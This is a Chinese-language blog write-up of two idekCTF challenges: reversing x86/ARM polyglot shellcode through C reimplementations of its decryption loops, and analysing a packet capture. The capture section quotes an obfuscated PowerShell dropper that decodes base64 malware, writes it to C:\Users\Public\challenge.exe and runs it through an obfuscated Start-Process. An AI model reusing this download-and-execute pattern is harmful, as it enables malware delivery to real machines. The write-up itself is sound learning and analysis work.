Writeup for idekCTF


idekCTF

Rev

Polyglot

题目Polyglot,首先这个单词的英文含义就是通晓(或使用)多种语言的;用多种语言写成的;通晓并使用多种语言的,这个也算是一个提示把。

题目

题目中给出的是一个代码片段,不是完整的程序。 x86ARM两种架构反编译之后会得到不同的执行流。但是程序开头的第一句肯定是指令而不是数据,因为CPU无法判断这些二进制是否是数据。

这个shellcode是把x86ARM两种不同的架构集成到一起了,在程序的开头第一句指令做了兼容,在x86下,会直接跳转。而在ARM架构下则会执行。

ARM架构下

X86架构下

解题思路

Polyglot分别在x86ARM两种架构下,进行反编译操作。通过解析代码流程,逆向解密过程。

ARM架构下的代码比较好分析,就是一个循环的异或操作,本身没有什么困难的地方。

X86架构下,则要困难一些,包含了两个解密操作。

第一个解密操作,按照正常汇编代码的逻辑,然后用c语言复现了一遍。

第二个解密操作,汇编代码稍微有点复杂,所以是直接复制的ida反编译之后的函数。然后判断了一下这个函数的参数。

解题代码

x86
# include <stdio.h>
# include  <stdint.h>


#define HIBYTE(w)       ((uint8_t)(((uint16_t)(w) >> 8)))
#define LOBYTE(w)       ((uint8_t)(w))

unsigned char rsp[0x158] = {
	
  //3C1  ---00h
  0x18, 0x25, 0x37, 0x37, 0xF5, 0x14, 0x70, 0x63, 0x59, 0x1D, 
  0x85, 0x0E, 0xA5, 0xD9, 0xDB,
  //rax -- 0Fh
  0x80, 0xAA, 0x0A, 0xB4, 0x41, 0x8E, 0x7B, 0x1B,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00,
  
  //3a1	--20h
  0x62, 0x5A, 0x46, 0x8A, 0xAA, 0x47, 0xB6, 0x87, 0x84, 0xBF, 
  0x1B, 0xE6, 0xDA, 0x0A, 0xD7, 0x40,
  //3b1 --30h
  0x81, 0x0E, 0x14, 0x6A, 0xF7, 0x6E, 0x2B, 0xF1, 0x19, 0xD5, 
  0x2E, 0x33, 0xA8, 0xB6, 0xD1, 0x76,
  
	//rdi ---40h
	0x00, 0x00,
	
	//2a1 ---rdi+2
  0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 
  0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
  //2b1 ---rdi+12h
  0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 
  0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
  //2c1 ---rdi+22h
  0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 
  0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
  //2d1 ---rdi+32h
  0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 
  0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
  //2e1 ---rdi+42h
  0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 
  0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
  //2f1 ---rdi+52h
  0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 
  0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
  //301 ---rdi+62h
  0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 
  0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
  //311 ---rdi+72h
  0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 
  0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
  //321 ---rdi+82h
  0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 
  0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
  //331 ---rdi+92h
  0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 
  0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
  //341 ---rdi+A2h
  0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7, 0xA8, 0xA9, 
  0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
  //351 ---rdi+B2h
  0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xB9, 
  0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
  //361 ---rdi+C2h
  0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 
  0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
  //371 ---rdi+D2h
  0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 
  0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
  //381 ---rdi+E2h
  0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 
  0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
  //391 ---rdi+F2h
  0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 
  0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF,
  
};

int16_t  sub_1A2(int64_t a1, int64_t a2) // a1 = rcx 0x100  a2 = rdx  0x17
{
  int16_t *v2 = (int16_t*) (rsp + 0x40); // rdi
  uint8_t *v3 = (uint8_t*)rsp; // rsi
  
  int16_t result; // ax
  int16_t *v5;// r10
  uint8_t v6;// bl
  unsigned char v7; // r11 8;
    //LOBYTE(result) = v8 + v7;
  unsigned char v8; // bp
  int16_t *v9; // rdi
  uint8_t *v10; // r9
  unsigned char v11; // r8
  unsigned char *v12; // rdx
  unsigned char v13; // al
  unsigned char *v14; // rcx
  unsigned char v15; // r12

  result = *v2;
  v5 = v2;
  v6 = HIBYTE(*v2);
  if ( a2 )
  {
    v7 = a2;
    v8 = *v2;
    v9 = v2 + 1;
    v10 = &v3[a2];
    v11 = result - (uint8_t)v3 + 1;
    do
    {
      v12 = (unsigned char *)v9 + (unsigned char)(v11 + (uint8_t)v3);
      v13 = *v12;
      v6 += *v12;
      v14 = (unsigned char *)v9 + v6;
      v15 = *v14;
      *v12 = *v14;
      *v14 = v13;
      *v3++ ^= *((uint8_t *)v9 + (unsigned char)(v15 + v13));
    }
    while ( v10 != v3 );
    result = ((uint16_t)v6 << 8) | (uint16_t) (v8+v7) ;
    //LOBYTE(result) = v8 + v7;
    //HIBYTE(result) = v6;
  }
  *v5 = result;
  return result;
}

int main()
{
	
	
	int rcx = 0;
	uint32_t r8d = 0;
	int rax = 0;
  uint32_t r9d;
	int r10 = 0x20;
	uint16_t* rdi = (uint16_t*) (rsp + 0x40);
	uint16_t* rsi = (uint16_t*) (rsp + 0x20);
	do{
		r9d = ((uint8_t*)rdi)[rcx + 2];
		r8d = r8d + r9d + ((uint8_t*)rsi)[rcx % r10];
		//r8d = r8d + rax;
		rax = LOBYTE(r8d);
		
		((uint8_t *)rdi)[rcx + 2] = ((uint8_t*)rdi)[ rax + 2];
		rcx = rcx + 1;
		((uint8_t*)rdi)[rax + 2]= r9d;
	}while(rcx!=256);
	
	
	
	sub_1A2(0x100,0x17);
	write(1, rsp, 0x17);
	
	rax = 0x291;
	((uint32_t *)rsp)[rax] += (uint32_t)rax;
	//((uint32_t *)rsp)[rax - 0x39] = 
	
  return 0;
}
ARM
# include <stdio.h>
# include  <stdint.h>

unsigned char rsp[] =
{
  0xAF, 0xBC, 0xF0, 0x6B, 0x04, 0x82, 0x05, 0xA4, 0x56, 0xB6, 
  0x16, 0x48, 0xC0, 0x93, 0xAE, 0x51, 0x78, 0x8F, 0xB5, 0xB8, 
  0x4E, 0x31, 0xB5, 0xED, 0x9F, 0xA5, 0xB3, 0xA0, 0xC6, 0xD8, 
  0x95, 0x00, 0x7F, 0xDD, 0x5A, 0xF3, 0x3E, 0xCF, 0x49, 0x7D, 
  0xF0, 0xCC, 0xC3, 0x65, 0x16, 0xD6, 0xEA, 0x8C, 0x3C, 0x52, 
  0xDD, 0xD8, 0xC0, 0xC9, 0x82, 0xCB, 0x4B, 0xFD, 0xD4, 0x84, 
  0xE8, 0x8B, 0x01, 0x00, 0x00, 0x66, 0x0F, 0x6F, 0x05, 0x14, 
  0x02, 0x00, 0x00, 0x49, 0x89, 0xD2, 0x31, 0xC9, 0x45, 0x31, 
  0xC0, 0x0F, 0x11, 0x47, 0x02, 0x66, 0x0F, 0x6F, 0x05, 0x10, 
  0x02, 0x00, 0x00, 0x0F, 0x11, 0x47, 0x12, 0x66, 0x0F, 0x6F, 
  0x05, 0x14, 0x02, 0x00, 0x00, 0x0F, 0x11, 0x47, 0x22, 0x66, 
  0x0F, 0x6F, 0x05, 0x18, 0x02, 0x00, 0x00, 0x0F, 0x11, 0x47, 
  0x32, 0x66, 0x0F, 0x6F, 0x05
};

int main(){
	int rcx = 0;
	uint8_t* rdi = (uint8_t*)(rsp);
	uint8_t* rsi = (uint8_t*)(rsp + 0x1C);
	do{
		rdi[rcx] = rdi[rcx] ^ rsi[rcx];
		
		rcx = rcx + 1;
	}while(rcx!=0x1c);
		
	write(1,rsp,0x1c);
}

Sus Meow

第二个题目,是一段网络通信数据包的二进制文件。用wireshark分析还报错。所以也只能看十六进制显示的内容了。

然后我就猜着,会不会是这个解压出来的二进制文件,仍然是一个压缩包呢? 于是把sus-meow 更名为sus-meow.zip。然后解压缩一下,还真的解压出来了。一个attachments的文件夹里面包含了challenge.pcapng的文件。

这里,我又去查了一下,发现zip压缩、rar压缩,出来的二进制文件。都不是以attachements/开头的。但是为啥这种方法就奏效了?,难道本身就是文件目录转换为的二进制?

现在可以用wireshark分析challenge.pcapng了。追踪流之后,感觉像是用PowerShell 给服务器发指令+加密的恶意代码,然后让服务器解密+运行恶意代码。解密可以明显的看到用的是FromBase64String

GET /muahaha.ps1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682
Host: 10.0.2.15
Connection: Keep-Alive

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.10.8
Date: Wed, 11 Jan 2023 11:02:35 GMT
Content-type: application/octet-stream
Content-Length: 108368
Last-Modified: Wed, 11 Jan 2023 10:55:29 GMT

$cph8=("{4}{8}{1}{6}{3}{7}{0}{5}{2}{11}{9}{10}" -f
'3URi0QkHDmEJJgAAAAPhLMCAACNjCSUAAAAi0UAMdKNdQSJDCSJ0Yn1id6Jwrh4AAAA6K3h///pEfr//4uUJJgAAACDyiCJlCSYAAAA9sIED4Ve/f//3UUAjXUI2cDZ5Zvf4GYlAEVmPQABD4SzAgAA23wkQNtsJEAPt3wkSGaF/3kKgMqAiZQkmAAAANnlm9/g3dhmJQBFZj0ABQ+EfAMAANt8JDCLRCQwi1QkNGaB5/9/D4RMAwAAZoH/ADwPjxwCAAAPv++5ATwAACnpMe0PrdDT6vbBIA9Fwg9F1QH5jbkEwP/
··········

$lUOIoOXye4ZWRJ79vwRvpERQ = ('{2}{3}{0}{5}{4}{1}' -f 's\Pub','xe','C:\Us','er','lenge.e','lic\chal')

$xP6FknJVZBb = [Convert]::FromBase64String($cph8)
[IO.File]::WriteAllBytes($lUOIoOXye4ZWRJ79vwRvpERQ, $xP6FknJVZBb)
& ([string]::join('', ( (83,116,97,114,116,45,80,114,111,99,101,115,115) |%{ ( [char][int] $_)})) | % {$_}) ('{2}{3}{0}{5}{4}{1}' -f 's\Pub','xe','C:\Us','er','lenge.e','lic\chal')

后面还有一些关于powershell的命令,我大胆的在自己的powershell下面执行了一下'{2}{3}{0}{5}{4}{1}' -f 's\Pub','xe','C:\Us','er','lenge.e','lic\chal'–前面的数字其实是后面字符串的位置–拼起来就是C:\Users\Public\challenge.exe。这个exe负责存储base64解密之后的数据。

最后一行的指令[string]::join('', ( (83,116,97,114,116,45,80,114,111,99,101,115,115) |%{ ( [char][int] $_)})) | % {$_}— 先把十进制数转换为char类型,然后用转换后的字符串开启进程,执行exe恶意程序。具体Poweshell命令的细节,就不写了

  • 83,116,97,114,116,45,80,114,111,99,101,115,115 -对应的字符串– Start-Process

然后,我就基本上在powershell中执行了一下所有的命令,就是没执行哈哈哈。 说实在的,这种还是危险的,这里是图懒省事。!

这样的话,就把恶意程序给找到了challenge.exe

之后就是反编译了,目前还没什么线索呢。

总结

  1. Shift + E可以把数据导出,选择合适的格式。根本没办法一个一个复制。
  2. 简单的汇编代码逻辑,我基本可以读懂了。但是稍微一复杂,就捉襟见肘了。虽然可以采用复制ida反汇编之后的函数,但是这种方式不利用长久的发展。—-后续还得加强吧。我估计看汇编也能看出来,就是比较耗时。
  3. 原来真的有人会把不同架构下的shellcode结合到一起,真的是厉害,x86下的代码会在arm架构下被当作数据处理。这道题是我第一次接触ARM架构下的反汇编。
  4. 系统调用汇编格式

参考资料


文章作者: 美食家李老叭
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 美食家李老叭 !
评论
  目录